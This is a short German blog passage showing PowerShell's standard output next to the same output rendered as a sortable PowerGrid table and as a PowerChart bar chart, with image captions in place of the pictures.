Die Standardausgabe der Powershell.

01_original

Ausgabe als PowerGrid. Sehr schön umgesetzt wurden das Sortable-Table-Pattern sowie die Tabellenlinien.

02_powerGrid

Ausgabe als PowerChart. Als Anzeigeform habe ich ein Balkendiagramm gewählt.

03_powerChart



blog.codemurai.de © André Krämer |Impressum | Abonieren

WPF Forum | ASP.NET Forum | ASP.NET MVC Forum | Silverlight Forum | Windows Phone 7 Forum | SharePoint Forum | Dotnet Jobs | Dotnet Termine | Developer Blogs | Dotnet News

Das Team | Regeln | Impressum